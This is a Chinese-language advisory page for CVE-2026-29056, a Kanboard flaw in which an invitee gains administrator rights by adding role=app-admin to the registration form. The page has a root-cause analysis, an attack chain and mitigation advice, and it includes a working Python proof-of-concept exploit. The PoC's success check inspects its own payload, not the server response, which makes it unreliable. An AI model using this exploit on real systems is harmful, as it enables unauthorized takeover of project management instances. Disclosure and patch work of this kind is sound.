IPBUF安全漏洞报告
English
CVE-2026-29056 CVSS 8.8 高危

CVE-2026-29056 Kanboard 邀请注册权限提升漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-29056
漏洞类型
权限提升/访问控制绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kanboard

相关标签

CVE-2026-29056权限提升访问控制绕过参数注入KanboardWeb应用安全漏洞利用

漏洞概述

CVE-2026-29056是Kanboard项目管理系统中的一个高危安全漏洞。该漏洞存在于用户邀请注册功能中,攻击者可以通过构造特殊的请求参数,在注册过程中注入管理员角色,从而获得应用程序的最高权限。Kanboard是一款专注于看板方法论的项目管理软件,广泛应用于团队任务管理和工作流程优化。由于该漏洞允许未经授权的用户通过正常邀请流程获取管理员权限,因此具有极高的安全风险。攻击者只需获得一个有效的邀请链接,即可利用此漏洞创建管理员账户,进而控制整个Kanboard实例,访问敏感数据,修改项目配置,甚至可能横向移动到其他系统。CVSS评分8.8分,属于高危漏洞,需要立即修复。

技术细节

漏洞根源在于UserInviteController::register()方法在处理用户注册请求时,直接将所有POST参数传递给UserModel::create()方法,而没有对role参数进行过滤或验证。在正常的用户邀请注册流程中,邀请链接包含唯一的令牌,用于验证用户身份并限制注册资格。然而,由于缺少参数白名单机制,攻击者可以在注册表单中额外提交role=app-admin参数。当UserModel::create()接收到包含role参数的请求时,它会使用攻击者指定的值创建用户账户,而不是按照默认的普通用户角色进行分配。这种参数注入攻击成功绕过了邀请注册机制的身份验证和授权检查。修复版本1.2.51通过在UserModel::create()方法中添加role参数过滤逻辑,确保只有系统允许的角色才能被设置,从而防止权限提升攻击。

攻击链分析

STEP 1
步骤1
攻击者获取目标Kanboard实例的用户邀请链接,该链接包含唯一的注册令牌
STEP 2
步骤2
攻击者构造恶意注册请求,在正常的注册参数(name、email、password)基础上,额外注入role=app-admin参数
STEP 3
步骤3
UserInviteController::register()方法接收POST请求,将所有参数(包括恶意的role参数)传递给UserModel::create()
STEP 4
步骤4
UserModel::create()方法缺少role参数过滤逻辑,直接使用攻击者提供的role值创建用户账户
STEP 5
步骤5
系统创建具有app-admin角色的管理员账户,攻击者获得完整的管理员权限
STEP 6
步骤6
攻击者使用创建的管理员账户登录系统,访问敏感数据、修改系统配置或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-29056 PoC - Kanboard Privilege Escalation via Role Injection # Target: Kanboard < 1.2.51 def exploit_kanboard(target_url, invite_token, attacker_email): """ Exploit privilege escalation in Kanboard user invite registration. Args: target_url: Base URL of the Kanboard instance invite_token: Valid invitation token from invite link attacker_email: Email address for the new admin account """ # Registration endpoint with invite token register_url = f"{target_url}/?controller=UserInviteController&action=register&token={invite_token}" # Malicious payload: inject admin role during registration # This exploits the lack of role parameter filtering in UserModel::create() payload = { 'name': 'Malicious Admin', 'email': attacker_email, 'password': 'P@ssw0rd123!', 'password_confirmation': 'P@ssw0rd123!', 'role': 'app-admin' # Privilege escalation: inject admin role } try: response = requests.post(register_url, data=payload, timeout=30) if response.status_code == 200: if 'admin' in payload['role']: print(f"[+] SUCCESS: Admin account created for {attacker_email}") print(f"[+] Login URL: {target_url}/?controller=AuthController&action=login") return True else: print(f"[-] Failed: HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == '__main__': if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <invite_token> <email>") print(f"Example: python {sys.argv[0]} http://target.com abc123def456 [email protected]") sys.exit(1) exploit_kanboard(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

Kanboard < 1.2.51

防御指南

临时缓解措施
如果无法立即升级,可通过在Web应用防火墙(WAF)中添加规则,检测并阻止注册请求中的role参数。但这只是临时缓解措施,无法根本解决问题。建议尽快升级到修复版本。对于已经运行的实例,应检查是否存在可疑的管理员账户,并重置所有用户密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表